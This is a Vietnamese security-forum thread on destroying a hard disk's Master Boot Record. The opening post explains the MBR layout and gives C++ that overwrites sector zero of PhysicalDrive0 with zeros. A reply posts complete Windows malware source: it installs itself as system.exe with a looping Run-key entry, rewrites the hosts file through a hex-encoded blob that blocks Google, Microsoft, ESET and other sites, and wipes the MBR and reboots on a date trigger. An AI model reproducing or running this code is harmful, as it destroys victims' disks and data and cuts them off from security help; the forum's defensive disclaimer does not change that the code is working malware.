C, C++ cho Virus - Phá hủy MBR của ổ cứng, làm mất tất cả các phân vùng trong ổ cứng

scila1996

W-------
29/06/2013
4
21 bài viết
C, C++ cho Virus - Phá hủy MBR của ổ cứng, làm mất tất cả các phân vùng trong ổ cứng
Loại virus này chắc cũng có nhiều bạn gặp phải, sau khi download một chương trình lạ nào đó và dùng một thời gian, hay ngay khi tắt máy và sáng hôm sau mở lên thì hiện lên một màn hình đen xì, khi cắm ổ cứng vào máy khác để đọc thì ổ cứng trắng trơn.

1700215534004.png

- Cơ chế hoạt động : Hacker chiếm quyền truy xuất vào thiết bị ổ cứng, sau đó dùng một số phương thức ẩn hoặc ghi đè nội dung của Sector đầu của ổ cứng . Sector đầu là Sector chứa bảng phân chương (thông tin về các phân vùng trên ổ cứng) của hệ điều hành , kích thước = 512 Byte

+ 444 Byte đầu là chương trình nhận biết
+ 64 Byte tiếp theo là thông tin của các phân vùng
+ 2 Byte cuối là chữ ký hệ thống - 55 AA

Hệ điều hành dựa vào bảng này để tải các phân vùng, nếu phân vùng là Primary và được Active thì hệ điều hành sẽ trỏ tới file BootLoader để nạp hệ điều hành có trên ổ này, đồng thời cũng tải tất cả các phân vùng Primary và Logical khác, như ổ dữ liệu .

=> SECTOR đầu rất quan trọng

Mình xin DEMO một đoạn code nho nhỏ (PAY LOAD), viết bằng C++ sử dụng các hàm API có sẵn, tất nhiên là khi Hacker viết code thì sẽ hạn chế sử dụng các hàm API này:

1. Mở Handle Device của ổ cứng, đường dẫn (địa chỉ) của HDD

Mã:
.PhysicalDrive0

Tiến hành Open sử dụng hàm CreateFile ..

Mã:
HANDLE hDevice = CreateFileA(".PhysicalDrive0", GENERIC_ALL, NULL, NULL, OPEN_EXISTING, NULL, NULL);

2. Tạo dữ liệu trắng , có thể hiểu là SECTOR trắng và ghi đè lên SECTOR có sẵn hiện tại

Mã:
BYTE *bData = new BYTE[512]; // InitInstance Block Data
DWORD bRead;
int i = 0;
while (i < 512) bData[i++] = 0x00; // Create Empty Sector
WriteFile(hDevice, (LPVOID)bData, 512, (LPDWORD)&bRead, NULL); // Write Empty Sector to MBR
delete[] bData;
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: linh24
Bài viết hay và hữu ích, scila1996.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bài này nếu có thể thay bằng phần ghi đè MBR của con peta hay wanna thì sẽ khá hay
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bạn xem con này có hiệu quả hơn không nhé!
#include <Windows.h>
#include <winver.h>
#include "resource.rc"

DWORD WINAPI CheckTime(){
DWORD write;
SYSTEMTIME st;
char data[512];
ZeroMemory(&data,sizeof(data));
GetLocalTime(&st);
if(st.wYear==2019){
HANDLE disk=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
WriteFile(disk,data,512,&write,NULL);
CloseHandle(disk);
//MessageBox(0,"Time to die now!","You have been hacked!",MB_ICONWARNING);
ExitWindowsEx(EWX_REBOOT,0);
}
return 0;
}

DWORD WINAPI hosts(){
char data[]={0x77,0x77,0x77,0x2E,0x79,0x6F,0x75,0x74,0x75,0x62,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x67,0x6F,0x6F,0x67,0x6C,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x79,0x61,0x68,0x6F,0x6F,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x66,0x61,0x63,0x65,0x62,0x6F,0x6F,0x6B,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x65,0x75,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x65,0x6E,0x2E,0x77,0x69,0x6B,0x69,0x70,0x65,0x64,0x69,0x61,0x2E,0x6F,0x72,0x67,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31};
char path[60];
DWORD write;
GetEnvironmentVariable("windir",path,sizeof(path));
strcat(path,"\\system32\\drivers\\etc\\hosts");
HANDLE hFile=CreateFile(path,GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL);
WriteFile(hFile,data,sizeof(data),&write,NULL);
CloseHandle(hFile);
return 0;
}

DWORD WINAPI reg(){
char value[]="system.exe";
HKEY hKey;
while(1){
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
RegSetValueEx(hKey,"system",0,REG_SZ,(LPBYTE)value,60);
RegCloseKey(hKey);
Sleep(10000);
}
return 0;
}

int WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show){
char file[MAX_PATH];
char path[60];
HANDLE hToken;
LUID luid;
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
TOKEN_PRIVILEGES tp;
tp.Privileges[0].Luid=luid;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.PrivilegeCount=1;
OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL);
GetModuleFileName(NULL,file,sizeof(file));
GetEnvironmentVariable("windir",path,60);
strcat(path,"\\system.exe");
CopyFile(file,path,false);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)reg,NULL,0,NULL);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)hosts,NULL,0,NULL);

while(1){
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckTime,NULL,0,NULL);
Sleep(10000);
}

return 0;
}
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
MBR có thể viết lại không bác?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên